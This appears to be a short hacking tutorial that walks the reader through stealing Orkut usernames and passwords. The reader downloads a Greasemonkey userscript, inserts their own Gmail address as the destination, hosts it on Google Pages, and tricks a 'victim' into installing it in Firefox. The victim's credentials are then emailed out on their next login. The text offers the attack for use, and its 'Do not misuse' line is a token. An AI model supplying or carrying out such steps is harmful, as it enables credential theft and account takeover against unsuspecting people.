1)first, go to http://hacktheworld.110mb.com/fix.user.j
(note-if you are already using greasemonkey disable it)
2) save the script and then open it with notepad.
press ctrl+F and seach action.
edit 'action' variable.replace 'yourid@gmail.com' with your gmail id.
3) now,upload it on googlepages.
e.g. http://yourname.googlepages.com/fix.user
4) Now make your victim install this file. He will be able to install it IF AND ONLY IF he has FIREFOX WITH GREASEMONKEY.
Once your victim installs this file, you are done !
Download firefox at:- http://www.firefox.com
Download greasemonkey at:- https://addons.mozilla.org/en-US/firefox
5) Now the next time he opens orkut and logs in to orkut, his username and password will be emailed to you at the email ID you provided in step 2.
Enjoy ! ;)
Do not misuse ! :)
Happy Hacking !